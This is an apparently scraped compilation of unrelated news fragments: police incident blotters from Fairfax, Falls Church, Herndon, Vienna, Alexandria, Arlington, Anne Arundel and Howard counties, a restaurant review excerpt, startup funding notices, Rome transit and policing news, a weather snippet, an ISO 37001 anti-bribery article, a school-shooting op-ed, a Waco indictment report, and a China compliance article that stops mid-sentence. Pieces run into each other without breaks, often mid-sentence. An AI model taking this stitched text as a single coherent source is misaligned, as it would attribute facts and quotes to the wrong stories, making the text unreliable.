
These were among incidents reported by the Fairfax City Police Department. For information, call 703-273-2889.

WEAPON

Fairfax Blvd., 9600 block, 1:42 a.m. Feb. 3. Weapon violation was reported. A 25-year-old Fairfax man was arrested and charged.

THEFTS/BREAK-INS

Fairfax Blvd., 9900 block, 8:31 a.m. Feb. 7. Property was stolen from a van.

Fairfax Blvd., 9900 block, 9:03 a.m. Feb. 7. Property was stolen from a van.

White Oak Ct., 3400 block, 4:13 p.m. Feb. 4. Identity theft was reported.

VANDALISM

Westmore Dr., 11000 block, 5:23 p.m. Feb. 7. Graffiti was reported.

Falls Church

These were among incidents reported by the Falls Church Police Department. For information, call 703-248-5056.

ASSAULT

Hillwood Ave., 300 block, 11:12 p.m. Feb. 2. Two people fought.

THEFTS/BREAK-INS

Ellison St., 900 block, 6 p.m. Jan. 30 to 8 a.m. Jan. 31. Property was stolen from a vehicle entered by force.

Ellison St., 900 block, 9 p.m. Jan. 30 to 3:56 p.m. Jan. 31. Property was stolen from a vehicle.

Wilson Blvd., 6600 block, 7:32 p.m. Feb. 2. Cash was stolen from a wallet.

Herndon

These were among incidents reported by the Herndon Police Department. For information, call 703-435-6846.

ASSAULTS

Elden St., 700 block, 1:39 a.m. Feb. 2. Assault reported.

Laurel Way, 100 block, 4:34 a.m. Feb. 3. Assault reported.

THEFTS/BREAK-INS

Dakota Dr. and Virginia Ave., 12:12 a.m. Jan. 30.

Ferndale Ave., 800 block, 3:11 p.m. Jan. 29.

Worldgate Dr., 13000 block, 10:28 p.m. Jan. 30. Trespassing.

MOTOR VEHICLE THEFT

Elden St., 1200 block, 8:03 a.m. Feb. 3.

Vienna

These were among incidents reported by the Vienna Police Department. For information, call 703-255-6396.

ASSAULTS

Gibson Cir. SW, 5:57 p.m. Feb. 4. Two people fought.

Gibson Cir. SW, 11:30 p.m. Feb. 3. Two people fought.

Glyndon St. and Maple Ave. NE, 5:40 p.m. Jan. 31. Two drivers reported a road rage incident. One of the drivers had thrown a beverage at the other vehicle.

Hillcrest Dr. SW, 8:35 p.m. Jan. 30. Two people fought.

Maple Ave. W., 400 block, 10 p.m. Feb. 2 to 12:27 a.m. Feb. 3. A man assaulted a female and damaged a hotel room. A 29-year-old Annandale man was arrested and charged.

WEAPON

Pleasant St. NW, 100 block, 6:12 p.m. Feb. 3. A resident reported two males were trespassing. One of the males had metal knuckles. An 18-year-old Vienna male was arrested and charged.

ROBBERY

Maple Ave. E., 300 block, 8:25 p.m. Jan. 30. A man shoved an employee and robbed a store of a hair trimmer.

THEFTS/BREAK-INS

Frederick St. and Ridge Rd. SW, 3:40 a.m. Feb. 5. A resident observed four males fleeing from a parked car when the alarm went off. All four were located by police.

Maple Ave. E., 100 block, 10-11 a.m. Jan. 29. A vendors file folder was stolen.

Moorefield Creed Rd. SW, 1000 block, 7 p.m. Feb. 4 to 8:45 a.m. Feb. 5. A phone charger and sunglasses were stolen from a vehicle. The charger was recovered and returned to the owner.

Sharon Lane NW, 100 block, 10:04 p.m. Feb. 3. Trespassing was reported.

Tapawingo Rd. SW, 1000 block, 6:30 p.m. Feb. 4 to 7:40 a.m. Feb. 5. Cash, clothing, a purse, and a phone charger were stolen from a vehicle. Some of the property was recovered and returned to the owner.

MOTOR VEHICLE THEFT

Saint Andrews Dr. NE, 100 block, 2:06 p.m. Jan. 31 to 1:08 p.m. Feb. 3. A vehicle reported stolen was recovered at this location.Todays Headlines

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By signing up you agree to our Terms of Use and Privacy PolicyThe agency has already received a crush of 104,367 public comments. The department is required to respond to every point raised, an enormous task that will take months. Opponents of the regulation had urged their allies to weigh in and complained when the online system failed on the final day.Anne Arundel County

The following were among incidents reported by the Anne Arundel County police. For information, call 410-222-8050.

GLEN BURNIE AREA

ROBBERIES

Ritchie Hwy., 7300 block, 7:21 om Feb. 4. Two masked males entered a video game store, and demanded cash from an employee at gunpoint. They took merchandise and cash, then fled.

Woodhill Dr., 200 block, 9:30 p.m. Feb. 5. Two males accosted a male pedestrian, threatened him with a knife and assaulted him. They took property from him, and fled.

ARREST

Wellham Ave. and Olen Dr., 8:30 p.m. Feb. 3. A 24-year-old Baltimore man was arrested after he was observed walking through the neighborhood pulling on car door handles in an attempt to enter unlocked vehicles. He was charged with rogue and vagabond and making a false statement to a peace officer.

LINTHICUM AREA

CARJACKING

Camp Meade Rd., 200 block, 8:57 a.m. Feb. 3. A man was arrested after he carjacked a man at a gas station at gunpoint. The 25-year-old Baltimore man was charged with armed carjacking, carjacking, armed robbery, robbery, unlawful taking of a motor vehicle, unauthorized removal of a motor vehicle, and theft of $1,500 to under $25,000.

Annapolis

These were among incidents reported by the Annapolis Police Department. For information, call 410-268-9000.

ROBBERIES

Forest Dr., 1900 block, 1:30 a.m. Feb. 3. Two masked men entered a business and approached an employee. One of the men struck an employee in the head with a handgun, knocking him to the ground. They took his wallet and fled.

Hicks Ave., unit block, 12:30 a.m. Feb. 3. Three people assaulted a man and demanded cash. The man had nothing of value, and they fled empty-handed.

Margaret Ave., 1700 block, 7:30 a.m. Feb. 5. A man accosted a male employee that had just arrived at work. The man punched the employee in the head, grabbed his tool bag, and threatened to kill him if he called police. The 41-year-old Glen Burnie man was arrested and charged with robbery, first- and second-degree assault, theft and attempting to inhibit testimony.

THEFTS/BREAK-INS

Burnside St., 500 block, 8 p.m. Jan. 29 to 8 a.m. Jan. 30. A shotgun was stolen from an unlocked vehicle.

Church Cir., unit block, 5 a.m. Feb. 3 to 10 a.m. Feb. 4. A door to an office at a business was forced open. Nothing was reported missing.

Langdon Ct., 900 block, 3:40 a.m. Feb. 2. A surveillance camera captured a person attempting to open doors to two locked vehicles. Nothing was reported missing, and the person left on a bicycle.

Old Solomons Island Rd., unit block, 7:40 p.m. Feb. 1 to 8 a.m. Feb. 4. Cash was stolen from a business entered by force.

Quiet Waters Pl., 100 block, 8 p.m. Feb. 1 to 8:30 a.m. Feb. 2. An iPhone was stolen from an unlocked vehicle.

VEHICLE THEFT

Martha Ct., 1000 block, 4:30 p.m. Jan. 30 to 6 p.m. Jan. 31. A black 2011 Volkswagen Jetta was stolen.

Howard County

These were among incidents reported by the Howard County Police Department. For information, call 410-313-2236.

CLARKSVILLE AREA

THEFT/BREAK-IN

Clarksville Pike, 12000 block, 12:15 p.m. Feb. 3. A 29-year-old District man was arrested after he was seen entering a vehicle. He was charged with rogue and vagabond.

COLUMBIA AREA

ROBBERIES

Cradlerock Way, 6600 block, 12:37 p.m. Feb. 2. Two males with their faces partially covered assaulted a female pedestrian and demanded cash. They fled without stealing anything.

Hayshed Lane, 8700 block, 11:15 p.m. Jan. 31. Two males robbed a food delivery driver of cash, food and his car keys at knifepoint, then fled.

Tamar Dr., 8900 block, 7:13 p.m. Feb. 4. Several males attempted to enter a womans residence by force. They made threats and vandalized her home, then fled.

THEFTS/BREAK-INS

Dobbin Rd., 6400 block, 5:47 a.m. Feb. 1. Car batteries were stolen.

Kilimanjaro Rd., 9500 block, 9:27 p.m. Feb. 3. A vehicle was entered. Nothing was reported missing.

Little Patuxent Pkwy., 15000-16000 blocks, Jan. 31-Feb. 1. A purse and a laptop were among items stolen from three vehicles overnight.

Stevens Forest Rd., 5600 block, Feb. 2-3. A vehicle was entered. Nothing was reported missing.

Watch Chain Way, 5900 block, Jan. 31-Feb. 1. A vehicle was entered. Nothing was reported missing.

VEHICLE THEFTS

Deepage Dr., 7000 block, 9:02 p.m. Feb. 1. A black Jeep Patriot was stolen.

Swift Stream Pl., 10300 block, Feb. 2-3. A Honda CBR1000RR sport bike was stolen.

Yellowrose Ct., 5700 block, 12:49 p.m. Feb. 2. A white Nissan Rogue was stolen.

ELKRIDGE AREA

THEFTS/BREAK-INS

Washington Blvd., 5800 block, Feb. 2-4. Several car lifts and tools were stolen from an auto repair shop entered through an unlocked window.

ELLICOTT CITY AREA

ROBBERY

Baltimore National Pike, 9200 block, 1:52 p.m. Jan. 31. Four females entered a sporting goods store, took merchandise, and started to leave with the goods. When confronted by a staff members, one of the women threatened to pepper spray the employee. They fled in a vehicle.

THEFTS/BREAK-INS

Birchmede Dr., 3200 block, Jan. 15-Feb. 1. Property was stolen from a vacant residence. There was no sign of forced entry.

Main St., 8600 block, Feb. 1-3. Property was stolen from multiple vehicles.

JESSUP AREA

VEHICLE THEFT

Assateague Dr., 7500 block, Feb. 2. A 2017 white International 4300 box truck was stolen.Alexandria

These were among incidents reported by the Alexandria Police Department. For information, call 703-746-4444 or visit apps.alexandriava.gov/crimereport.

ASSAULTS

Brawner Pl., 5100 block, 2:32 a.m. Feb. 3. An assault was reported. An arrest was made.

Duke St., 5100 block, 12:59 a.m. Feb. 2. An assault was reported.

Mount Vernon Ave., 3400 block, 7:10 a.m. Feb. 2. An assault was reported. An arrest was made.

Payne St. N., 600 block, 8:42 a.m. Jan. 30. An assault was reported. An arrest was made.

Payne St. N., unit block, 4:14 p.m. Jan. 30. An assault was reported. An arrest was made.

Raleigh Ave., 4500 block, 10:53 a.m. Jan. 29. An assault was reported. An arrest was made.

Russell Rd., 3800 block, 4:30 a.m. Jan. 30. An assault was reported. An arrest was made.

Seminary Rd., 4700 block, 9:19 p.m. Jan. 30. An assault was reported.

Shillings St., 600 block, 9:44 p.m. Jan. 28. An assault was reported.

Shillings St., 600 block, 10:02 p.m. Jan. 29. An assault was reported.

Stevenson Ave., 6300 block, 3:01 p.m. Feb. 5. An assault was reported.

Van Dorn St. S., 500 block, 4:30 a.m. Jan. 31. An assault was reported.

Washington St. S., 1200 block, 8:07 p.m. Jan. 29. An assault was reported.

ROBBERY

Bradford Ct., 5400 block, 5:01 a.m. Jan. 29. A robbery was reported.

Duke St., 3000 block, 7:13 a.m. Jan. 30. A robbery was reported.

Merton Ct., 5700 block, 8:17 p.m. Feb. 3. A robbery was reported.

Pickett St. N., 300 block, 4:43 p.m. Jan. 29. A robbery was reported.

Van Dorn St. S., 200 block, 3:35 p.m. Feb. 1. A robbery was reported.

THEFTS/BREAK-INS

Armistead St. N., 400 block, 7:02 a.m. Feb. 5. A theft was reported.

Armistead St. N., 500 block, 9:04 p.m. Jan. 30. A theft was reported.

Armistead St. N., 600 block, 2:08 a.m. Jan. 31. A theft was reported.

Braddock Rd. E., 400 block, 2:22 p.m. Jan. 29. A theft was reported.

Columbus St. N., 500 block, 12:14 p.m. Feb. 5. A theft was reported.

Duke St., 5200 block, 6:34 a.m. Jan. 31. A theft was reported.

Duke St., 5200 block, 7:18 a.m. Jan. 31. A theft was reported.

Duke St., 5200 block, 7:34 a.m. Jan. 31. A theft was reported.

Duke St., 5200 block, 8:38 a.m. Jan. 31. A theft was reported.

Duke St., 5700 block, 2:17 p.m. Jan. 30. A theft was reported.

Dulany St., 300 block, 9:35 a.m. Feb. 4. A theft was reported.

Early St. S., unit block, 5:48 p.m. Jan. 30. A theft was reported.

Edsall Rd., 5700 block, 4:47 a.m. Jan. 30. A theft was reported.

Fayette St. S., 700 block, 9:06 p.m. Feb. 4. A theft was reported.

Fillmore Ave., 5400 block, 12:37 p.m. Feb. 3. A theft was reported.

Gibbon St., 1100 block, 5:28 p.m. Feb. 2. A theft was reported.

Glebe Rd. W., 200 block, 8:57 p.m. Feb. 3. Trespassing was reported. An arrest was made.

Jamieson Ave., 2100 block, 5:05 p.m. Jan. 29. A theft was reported.

Jordan St. S., unit block, 10:39 p.m. Jan. 29. A theft was reported.

King St., 900 block, 2:21 p.m. Jan. 29. A theft was reported. An arrest was made.

King St., 3600 block, 3:35 p.m. Jan. 30. A theft was reported.

Lincolnia Rd., 6100 block, 8:06 p.m. Jan. 29. A theft was reported.

Merton Ct., 5800 block, 7:19 a.m. Jan. 29. A theft was reported.

Mount Vernon Ave., 1000 block, 11:02 a.m. Jan. 28. A theft was reported.

Mount Vernon Ave., 1500 block, 8:11 p.m. Jan. 31. A theft was reported.

Mount Vernon Ave., 3400 block, 3 p.m. Jan. 31. Trespassing was reported. An arrest was made.

Mount Vernon Ave., 3800 block, 10:07 a.m. Feb. 1. An employee theft was reported.

Peele Pl., 900 block, 6:56 a.m. Feb. 5. A theft was reported and property was damaged. A vehicle was also stolen.

Pelham St. N., 1000 block, 3:51 p.m. Feb. 3. A theft was reported.

Raleigh Ave., 4500 block, 4:20 p.m. Jan. 29. A theft was reported.

Reynolds St. S., 100 block, 7:45 a.m. Feb. 5. A theft was reported.

Reynolds St. S., 200 block, 11:26 p.m. Feb. 3. A theft was reported. An arrest was made.

Richmond Hwy., 3100 block, 4:43 p.m. Jan. 29. A theft was reported.

Seminary Rd., 4600 block, 1:12 p.m. Jan. 29. A theft was reported.

Seminary Rd., 4900 block, 9 a.m. Jan. 30. A theft was reported.

Taney Ave., 5300 block, 1:16 p.m. Jan. 29. A theft was reported.

Union St. N., 200 block, 11:55 a.m. Feb. 1. A theft was reported.

Van Dorn St. N., 1400 block, 7:21 a.m. Jan. 29. A theft was reported.

Van Dorn St. N., 1400 block, 6:58 p.m. Jan. 29. A theft was reported.

Van Dorn St. N., 1500 block, 7:03 p.m. Jan. 29. A theft was reported.

Wilkes St., 900 block, 4:01 p.m. Feb. 1. A theft was reported.

MOTOR VEHICLE THEFTS

Colvin St., 3100 block, 11:19 a.m. Feb. 3. A vehicle was stolen.

Early St. S., unit block, 5:48 p.m. Jan. 30. A vehicle was stolen.

Powhatan St., 1100 block, 8:45 p.m. Jan. 31. A vehicle was stolen.

Powhatan St., 1100 block, 8:56 p.m. Feb. 1. A vehicle was stolen.

Royal St. N., 100 block, 7:49 p.m. Feb. 2. A vehicle was stolen.

VANDALISM

Beauregard St. N., 1400 block, midnight Jan. 30. Property was damaged. An arrest was made.

Colvin St., 3100 block, 11:19 a.m. Feb. 3. Property was damaged.

Dow Ave., 5700 block, 10:51 a.m. Jan. 29. Property was damaged.

Duke St., 5200 block, 6:34 a.m. Jan. 31. Property was damaged.

Duke St., 5200 block, 7:18 a.m. Jan. 31. Property was damaged.

Duke St., 5200 block, 7:34 a.m. Jan. 31. Property was damaged.

Duke St., 5200 block, 8:38 a.m. Jan. 31. Property was damaged.

Gordon St. N., unit block, 6:42 a.m. Feb. 4. Property was damaged.

King St., 1000 block, 10:01 p.m. Feb. 4. Property was damaged.

Payne St. N., 600 block, 8:42 a.m. Jan. 30. Property was damaged. An arrest was made.

Queen St., 1100 block, 9:03 a.m. Jan. 29. Property was damaged.

Arlington

These were among incidents reported by the Arlington County Police Department. For information, call 703-558-2222 or visit newsroom.arlingtonva.us.

ASSAULTS

Clarendon Blvd., 3100 block, 12:41 a.m. Feb. 4. An assault was reported.

Courthouse Rd. N., 1200 block, 2:03 a.m. Feb. 3. Two people fought.

Courthouse Rd. N., 1400 block, 3:20 a.m. Feb. 4. A 27-year-old Washington female was arrested and charged for assaulting a police officer while resisting arrest.

Courthouse Rd. S., 1200 block. An assault was reported.

Wilson Blvd., 3100 block, 1:43 a.m. Feb. 4. An assault was reported.

Wilson Blvd., 3900 block, 8:45 p.m. Jan. 30. An assault was reported.

WEAPONS

Pershing Dr. N., 2300 block. Weapon violation was reported.

Walter Reed Dr. S., 1000 block, 7:09 a.m. Jan. 30. Weapon violation was reported.

INDECENT EXPOSURE

Campbell Ave., 4200 block, 2:10 p.m. Feb. 2. A man was observed fondling himself. A 55-year-old man, of no fixed address, was arrested and charged.

ROBBERIES

Frederick St. S., 800 block, 8 p.m. Feb. 4. Two men struck a male pedestrian from behind and robbed him of personal belongings.

Henderson Rd., 4300 block, 4:50 a.m. Feb. 2. Three males assaulted and robbed two men of cash and personal belongings in a laundry room of a residential building.

THEFTS/BREAK-INS

Arlington Blvd., 1000 block. Property was stolen from a vehicle.

Arlington Blvd., 1500 block. Property was stolen from a vehicle.

Army Navy Dr., 1600 block. Property was stolen from a vehicle.

Clarendon Blvd., 2100 block, 9:30 a.m. Feb. 5. Property was stolen from a vehicle.

Clarendon Blvd., 2800 block, 5:05 p.m. Feb. 2. Shoplifting was reported.

Clarendon Blvd., 3000 block, 5 p.m. Feb. 3. Pocket picking was reported.

Columbia Pike, 4900 block, 10:18 a.m. Jan. 30. A 26-year-old Falls Church man was arrested and charged with stealing merchandise from a business.

Columbia Pike, 5000 block, 10:30 a.m. to 11 p.m. Feb. 2. An attempt was made to enter a residence.

Columbia Pike, 5000 block. A theft was reported.

Crystal Dr., 1500 block. A theft was reported.

Crystal Dr., 1700 block. Shoplifting was reported.

Dinwiddie St. S., 1300 block. A theft was reported.

Eads St. S., 1600 block, noon to 4 p.m. Jan. 29. Property was stolen from a residence.

Hayes St. S., 1100 block. Items were stolen from a business.

Hayes St. S., 1100 block. Property was stolen from a business.

Hayes St. S., 1100 block. Shoplifting was reported.

Hayes St. S., 1200 block. Trespassing was reported.

Lee Hwy., 3100 block. A theft was reported.

Lee Hwy., 6700 block. A theft was reported.

Lee Hwy., 6700 block. Items were stolen.

Lee Hwy., 6700 block. Property was stolen.

Norwood St. N., 500 block, midnight Feb. 1. Property was stolen from a vehicle.

Quebec St. S., 2000 block. Property was stolen from a vehicle.

Queen St. S., 2300 block, 6 p.m. Feb. 1 to 7:30 a.m. Feb. 2. Property was stolen from three vehicles.

Quincy St. N., 800 block. A theft was reported.

Quinn St. S., 1000 block. Property was stolen from a vehicle.

Rolfe St. S., 2300 block. Property was stolen from a vehicle.

Wilson Blvd., 1500 block. Shoplifting was reported.

Wilson Blvd., 3000 block, 10 a.m. Jan. 31. Pocket picking was reported.

34th St. S., 4600 block. Property was stolen from a vehicle.

MOTOR VEHICLE THEFTS

Jefferson Davis Hwy., 2600 block. A vehicle reported stolen was recovered at this location.

Pierce St. N., 1300 block, Feb. 5. A white 2018 Dodge Journey was stolen.

Queen St. S., 2300 block, Feb. 2. A burgundy 2015 Mazda Miata MX5 was stolen.

Wayne St. N., 100 block, 11:20 p.m. Feb. 1. A silver 2010 Acura TSX was stolen.

Fourth St. N., 4100 block, 5:44 a.m. Jan. 31. A vehicle was stolen.

VANDALISM

Adams St. S., 2700 block. Property was damaged.

Courthouse Rd. N., 1500 block, 8:30 a.m. Feb. 4. Property was damaged.

Nelson St. N., 200 block. A vehicle was tampered with.

Underwood St. N., 2500 block. A vehicle was damaged.

Wilson Blvd., 2800 block, 12:02 p.m. Jan. 30. Property was damaged.The last time I reviewed Clarity, three years ago, the entree average at dinner was $20, favorite items made return visits, a hamburger was among the options and the effort was awarded three stars. While the prices have gone up since then  main courses average $30 now  the dishes also sport more designer labels. (Yes, thats gold leaf winking at you from atop the tiny pitcher of brandy sabayon that accompanies Armstrongs lovely brioche bread pudding.) As Krinn points out, Claritys customers appreciate the value of a restaurant that comes with sufficient (and gratis) parking, plus the reality that they dont have to schlep to Washington for fine dining. And if you really want a hamburger for dinner, and the makings are around, Krinn says hell cook one. By now, you should know he listens and produces.Early in rehearsals, director Baron and the Adventure cast visited the Sandy Spring Slave Museum to get a feel for the world of the show. Baron said he told the cast, In an hour, were not going to be able to talk about the intricacies of slavery, and how it happened, and the repercussions. But what we can do is look at this raft as sort of a utopia of how we should behave, and how we should treat each other with kindness.Sonoma Brands, a Sonoma, CA-based venture fund and brand incubator, is expanding its team.

The strategic hires and promotions aim to advance the growth equity firms presence as an esteblished investor in innovative food & beverage, wellness and personal care brands.

Sonoma Brands hired Kevin Murphy as Managing Director and promoted Brian Nicholson from Principal to Managing Director.

Murphy brings deep expertise in the field, made through his 13-year career at Encore Consumer Capital. At Encore, he was instrumental in key investments in the food, beverage, pet, beauty and personal care categories, including Tarte Cosmetics and Supergoop!.

Brian Nicholson joined Sonoma Brands in 2018, bringing eight years of experience as a growth investor in leading eCommerce, Digital Media and Direct-to-Consumer businesses. Prior to joining Sonoma Brands, Nicholson spent over five years at Stripes Group, where he directly sourced and led growth investments in companies including Refinery29, Reformation, and The Black Tux.

During his tenure at Sonoma Brands, Nicholson has been focused on sourcing, executing and leading growth-stage investments in emerging consumer brands.

He currently serves on the Boards of Yumble and True Botanicals (Observer).

Founded by Jon Sebastiani, Sonoma Brands is a specialist growth equity firm exclusively dedicated to high-growth consumer brands. The portfolio includes

 SmashMallow

 ZUPA NOMA

 Dang Foods

 KRAVE Pure Foods

 Guayaki

 True Botanicals

 Hu

 PECKISH

 Yumble

 Vintage Wine Estates.

FinSMEs

12/02/2019Sera Labs, Inc., a Los Angeles, CA-based online premier CBD brand, raised $5m in funding.

Canada-based cannabis private equity fund ToroVerde made the investment.

Founded and led by CEO Nancy Duitch, Sera Labs is an online premier CBD brand already generating over $2 million in online sales since the inception in July 2017. The brand was created to expand the offerings of CBD products in the health & wellness, pain management, beauty and pet sectors.

The family of products includes a 5- step Seratopical CBD beauty line, Sera Relief CBD oils, pain cream, capsules, some of the best cbd gummies, and a veterinarian approved Sera Pets CBD oil.

Additionally, Sera Labs works exclusively with GMP-certified manufacturing, and all products are made in the USA and are non-GMO with all ingestibles vegan and kosher.

FinSMEs

13/02/2019Few were finding comfort in assurances that a deal would be reached. The pain of the last shutdown still stings. Little is back to normal. Some workers still have not been fully repaid. Others are still paying back the unemployment benefits and short-term loans taken during the last furlough. Backed-up workloads are still being cleared. Anxiety is rising, despite talk of a deal.Any agreement, which awaits an as of yet unscheduled meeting between the two leaders, will come too late for manufacturers that have stopped waiting for the worlds two largest economies to patch up their differences. As export orders wobble, many Chinese factories have begun producing more for the growing domestic market, and Chinese authorities intend to reduce their dependence upon American customers they now regard as fickle.Direct service will connect Civitavecchia cruise passengers with Rome.

A new express train connecting the coastal town of Civitavecchia north of Rome with the capital was announced on 12 February, as part of a major investment in railways by the Lazio Region.

The non-stop service is designed specifically for tourists who arrive on cruise ships docked at Civitavecchia and who often have a short amount of time to visit Rome.

However the news will also be welcomed by local commuters who have long complained that the Civitavecchia's Rome-bound trains depart already full of tourists.

The direct service will connect the port town with Rome's S. Pietro and Ostiense stations, and will be in operation from 1 April until 14 December.

There will be four daily trains, two in the morning in the direction of Rome and two in the afternoon heading to Civitavecchia.

The service will take about 35/40 minutes between Civitavecchia and S. Pietro (compared to the current 50/55 minutes) and 55 minutes from Civitavecchia (compared to the current 60/70 minutes).Rome police focus on nightlife areas in wake of recent violent incidents.

Rome police officers are to step up checks in areas of the city most associated with nightlife, according to Italian news agency ANSA.

Police intend to focus in particular on the Piazza Bologna district in the Nomentana suburb, an area frequented by large crowds of young people, particularly at the weekends.

In addition to a more visible presence, officers intend to carry out increased checks similar to the "S. Lorenzo" model, a reference to a Rome neighbourhood synonymous with nightlife.

The plan was announced after a security meeting on 12 February, chaired by the capital's police chief Guido Marino, and follows a spate of violent nightlife incidents in the city.

The most high-profile of these was the shooting of 19-year-old swimmer Manuel Bortuzzo in the AXA suburb, and the case of a driver deliberately ramming bouncers outside a nightclub in Portonaccio.

Over the last weekend there was also a stabbing outside a club in the Piazza Barberini area of central Rome and a brawl between rival groups outside a pub in the Ostiense quarter.Decatur, IL (62521)

Today

Thunderstorms likely. High near 80F. Winds S at 10 to 20 mph. Chance of rain 100%..

Tonight

Scattered showers and thunderstorms. A few storms may be severe. Low 72F. Winds S at 10 to 20 mph. Chance of rain 50%.Joor, a New York  based wholesale platform and data exchange, closed a $16m Series C funding.

The round was led by ITOCHU (listed on the Tokyo Stock Exchange), with participation from existing investors Canaan Partners and Battery Ventures.

The company, which has raised $36m to date, intends to use the funds for ongoing product innovation for both brands and retailers and continue its global expansion into Asia. ITOCHU is now handling more than 150 US and European brands in the Japanese market. Through the partnership, Joor will be able to access ITOCHUs brands and accelerate the entry of new overseas brands into Japan.

Led by Kristin Savilia, CEO, Joor is a global wholesale platform and data exchange, connecting brands and top retailers to eliminate time-consuming, error-prone manual processes to grow their businesses with order processing, assortment planning, and analytics.

Over 8,600 brands within 53 categories use Joor with their wholesale business, along with almost 200,000 retailers across 144 countries.

The company also has offices in Los Angeles, Philadelphia, Paris, London, Milan, Madrid and Melbourne.

FinSMEs

13/02/20192018 was an eventful year in ISO 37001s adoption journey. The anti-bribery standards flexibility was demonstrated through a variety of first-time (for ISO 37001) public and private sector uses.

The Brazilian and Danish prosecutors use of ISO 37001 in bribery settlement agreements, and the Korean Pharmaceutical and Bio-Pharma Manufacturers Association assistance to its 194 members with a phased ISO 37001 adoption approach, for example.

Brazil, Italy and Peru lead in terms of the number of certified ISO 37001 organizations. The United States, as is normal with ISO standard adoption, has been slower to appreciate ISO 37001s value.

What to expect concerning ISO 37001 adoption and evolution in 2019?

This question was posed to senior executives within the community that best knows the world of standard certifications (some have been in the field for over a hundred years)  the accredited certifying bodies (CBs) that are performing ISO 37001 anti-bribery management systems audits on a global basis.

The CBs predictions and themes for this year?

1. Organizations will better understand the symbiotic relationship between ISO 27001 (Information Security Management Systems) and ISO 37001

Bruno Samuel, Executive Director, Sales & Marketing, North America for DNV-GL highlights ISO 37001s particular value for organizations that have adopted other ISO management system standards. ISO 37001 uses the same structure for implementation as certain other ISO standards, such as Information Security Management Systems  ISO 27001 or ISO 9001  Quality Management Saystems. This feature allows organizations to easily leverage the work done in other areas and implement an Anti-Bribery Management System which can encompass the entire organization and integrates with other management systems.



Observation: As with 2018, many U.S. corporate Boards in 2019 will apply priority oversight to two organizational risk management areas: anti-bribery and cybersecurity. ISO 27001 certification demand has dramatically increased in recent years, particularly in the government contracting, manufacturing, IT and professional services sectors  as one indicia of cyber preparedness. Boards (and management teams) of companies that are ISO 27001, ISO 14001 (Environmental Management Systems) or 9001-certified can use the same familiar ISO management system structural lens to review and manage anti-bribery activities by adopting ISO 37001.

2. ISO 37001 will become recognized as a tool for stabilizing partner ecosystems

Scott Lane, President at ETHIC Intelligence notes if organizations can push down certification requirements to their partners, they can pass the costs (and time) associated with screening third parties to the third parties themselves. This will make third parties responsible for representing their commitment to anti-bribery, as a pre-requisite for working with reputable organizations.

David Muil, VP of Global Business Development, Business Assurance at Intertek adds: Given the nature of what is happening in the industry and things that are coming to light with risk mitigation and brand protection, you are going to see this become a contractual requirement of doing business from organizations. The industry is already seeing it now with governments in some parts of the world who have mandated on their RFQs that you must be compliant to the intent of ISO 37001.

Observation: For cost and general bribery risk management reasons, expect this shifting trend to continue in 2019.

For companies, this practice is particularly attractive to those with global operations and a large supplier base.

In the public sector, this activity may offer advantages to governmental organizations within countries farther down the TI CPI Index (e.g. lesser-developed countries with abundant natural resource holdings)  making relative improvements to a project anti-bribery environment through enlisting commercial partner commitment to ISO 37001.

3. The public sector will continue to creatively influence the standards adoption

The global public sector creatively embraced ISO 37001 in 2018. Soft forms of adoption were used in Indonesia, Malaysia, Singapore and Peru; governmental entities in those countries officially recognized the standard and encouraged its adoption. Brazil, Denmark and Singapore used hard forms: ISO 37001 certification was required by prosecutors as a condition of bribery allegation settlement.

For governmental entities that are within countries or regions with historically high bribery risk, using ISO 37001 provides distinct advantages. It allows them to project the power of ISO  the globally- respected standards body  and its bribery management system, incorporating both applicable law and leading global anti-bribery practices and procedures.

And as noted by the General Counsel of ISO 37001-certified Alstom, Pierrick Le Goff in ICC Netherlands Integrity publication, [i]n a globalized economy, the ISO 37001 certification can provide a standardized tool for public bodies to assess the quality of the anti-bribery programs of their bidders.

Observation: For classic standardization advantage reasons  e.g. efficiency, quality, cost-savings, certainty  and building on the momentum from 2018, the public sector will continue to play a significant, if not driving, role in ISO 37001s evolution in 2019 and beyond. Over time, certain public sector suggestions in some locales and/or sectors may evolve into recommendations before finally becoming requirements.

_____

Worth MacMurray, pictured above, was formerly general counsel of several public IT companies, a leader within PwCs DC anti-corruption office and is now Principal at Governance & Compliance Initiatives. He is PECB Certified as both an ISO 37001 Lead Auditor and ISO 37001 Lead Implementer. He can be contacted here.It is almost the one-year anniversary of one of the most heinous acts ever in the history of our country. On Feb. 14, 2018, a former student entered Marjorie Stoneman Douglas High School in Florida with an AR-15 style semi-automatic rifle and shot and killed 17 students and staff. It sent school officials around the country into a state of panic, leaving them to question if this could happen in their districts. Yet a year later, our schools remain vulnerable to active shooter situations. The reality is many campuses across the country remain open targets. Our children are not safe.

Since 2009, there have been 288 school shootings in the United States. Thats 57 times as many shootings as the other six G7 countries combined. More than 220,000 students have experienced gun violence at school since the Columbine High School tragedy in 1999. Why is this such an ongoing problem that we have been unable to solve? Why is it getting worse? How many more innocent children need to die before we finally take real action and put a stop to these senseless acts? As Texas Gov. Greg Abbott remarked in his State of the State address last week, No student should be afraid to go to school. No parent should be fearful when dropping their child off at school.A Waco High School student was indicted by a McLennan County grand jury Wednesday on three counts of aggravated sexual assault of a child.

Roberto Dominguez, 18, was arrested at the school Oct. 10 on an indecency with a child charge after a family member of a 3-year-old girl told Waco police the girl had reported sexual abuse by Dominguez, Waco police Sgt. W. Patrick Swanton said at the time.

Though Dominguez was arrested on an indecency charge, the grand jury indicted him on three felony counts of aggravated sexual assault of a child.

Dominguezs attorney, Phil Frederick, declined to comment on the indictment Wednesday.

Dominguez was released from McLennan County Jail on a $75,000 bond shortly after his arrest.

If convicted, he would face 25 years to life in prison without parole.

Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.It has been over five years since the start of the GlaxoSmithKline case that rocked the China healthcare industry. At the time, compliance, audit and legal teams were shocked by the prevalence of integrity and corruption issues that had apparently gone unidentified, despite the widespread practice of generating slush funds through fraudulent travel expense claims.

In response, most companies revamped their compliance programs. They revised policies, focused on compliance with Chinese, as well as international law, provided training, implemented whistleblowing programs and conducted multiple investigations. They scrutinized third party providers and conducted due diligence, terminated employees for misconduct, self-reported to the U.S. Department of Justice and even self-reported to Chinese authorities. An army of auditors using data analytics and advanced monitoring were deployed.

However, despite these efforts, compliance function reform has now flat-lined, exposing companies to regulatory, financial, reputation and operational risks. In this article, we outline three symptoms of a suffering compliance function in China and offer our advice on how to stay healthy and ahead of the curve.

Academic sponsorships and charitable donations

Many companies still do not view sponsorships and donations as carrying much, if any, compliance risk. That is simply not the case.

In the past year, we have found instances where:

